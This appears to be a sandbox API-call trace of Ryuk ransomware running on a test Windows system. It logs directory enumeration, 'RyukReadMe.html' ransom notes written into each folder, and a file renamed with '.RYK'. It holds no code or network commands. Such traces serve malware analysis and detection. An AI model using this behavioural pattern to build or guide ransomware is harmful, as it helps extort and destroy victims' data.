	[0281.935] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0281.935] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="3LKBQZJ3", cAlternateFileName="")) returned 1
	[0281.935] SetLastError (dwErrCode=0x0) 
	[0281.935] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8
	[0281.942] GetLastError () returned 0x0
	[0281.942] WriteFile (in: hFile=0x8e8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0281.944] CloseHandle (hObject=0x8e8) returned 1
	[0281.945] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0281.945] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0281.946] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0281.946] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0281.946] SetLastError (dwErrCode=0x0) 
	[0281.946] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\3lkbqzj3\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8
	[0281.946] GetLastError () returned 0x0
	[0281.947] WriteFile (in: hFile=0x8e8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0281.948] CloseHandle (hObject=0x8e8) returned 1
	[0281.949] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="8NES5H33", cAlternateFileName="")) returned 1
	[0281.949] SetLastError (dwErrCode=0x0) 
	[0281.949] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8
	[0281.949] GetLastError () returned 0xb7
	[0281.949] CloseHandle (hObject=0x8e8) returned 1
	[0281.950] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0281.950] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0281.950] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d941010, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="get.adobe[1].xml", cAlternateFileName="GETADO~1.XML")) returned 1
	[0281.950] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0281.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec
	[0281.955] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0281.955] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d941010, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="get.adobe[1].xml", cAlternateFileName="GETADO~1.XML")) returned 0
	[0281.955] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0281.956] SetLastError (dwErrCode=0x0) 
	[0281.956] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\8nes5h33\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8
	[0281.963] GetLastError () returned 0x0
	[0281.963] WriteFile (in: hFile=0x8e8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0281.966] CloseHandle (hObject=0x8e8) returned 1
	[0281.966] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="FKLUIDU0", cAlternateFileName="")) returned 1
	[0281.966] SetLastError (dwErrCode=0x0) 
	[0281.966] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8
	[0281.966] GetLastError () returned 0xb7
	[0281.966] CloseHandle (hObject=0x8e8) returned 1
	[0281.967] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0281.967] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0281.967] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0281.967] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0281.967] SetLastError (dwErrCode=0x0) 
	[0281.968] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\fkluidu0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8
	[0281.968] GetLastError () returned 0x0
	[0281.968] WriteFile (in: hFile=0x8e8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0281.970] CloseHandle (hObject=0x8e8) returned 1
	[0281.970] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x125db390, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0281.970] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0281.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8
	[0281.976] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0281.977] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 1
	[0281.977] SetLastError (dwErrCode=0x0) 
	[0281.977] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0
	[0281.977] GetLastError () returned 0xb7
	[0281.977] CloseHandle (hObject=0x8f0) returned 1
	[0281.978] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0281.978] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0281.978] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0281.978] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0281.979] SetLastError (dwErrCode=0x0) 
	[0281.979] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\owlvmzrc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0
	[0281.979] GetLastError () returned 0x0
	[0281.979] WriteFile (in: hFile=0x8f0, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0281.981] CloseHandle (hObject=0x8f0) returned 1
	[0281.982] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 0
	[0281.982] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0281.982] SetLastError (dwErrCode=0x0) 
	[0281.982] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854
	[0281.982] GetLastError () returned 0xb7
	[0281.982] CloseHandle (hObject=0x854) returned 1
	[0282.272] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x65d58120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65d58120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65d58120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="frameiconcache.dat", cAlternateFileName="FRAMEI~1.DAT")) returned 1
	[0282.272] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0282.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854
	[0282.280] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.281] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95014270, ftCreationTime.dwHighDateTime=0x1d2fab5, ftLastAccessTime.dwLowDateTime=0x95014270, ftLastAccessTime.dwHighDateTime=0x1d2fab5, ftLastWriteTime.dwLowDateTime=0x7e69a420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x4122, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT.RYK", cAlternateFileName="MSIMGS~1.RYK")) returned 1
	[0282.281] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0282.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0
	[0282.287] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.287] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0282.287] SetLastError (dwErrCode=0x0) 
	[0282.287] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4
	[0282.288] GetLastError () returned 0xb7
	[0282.288] CloseHandle (hObject=0x8f4) returned 1
	[0282.288] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0282.289] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
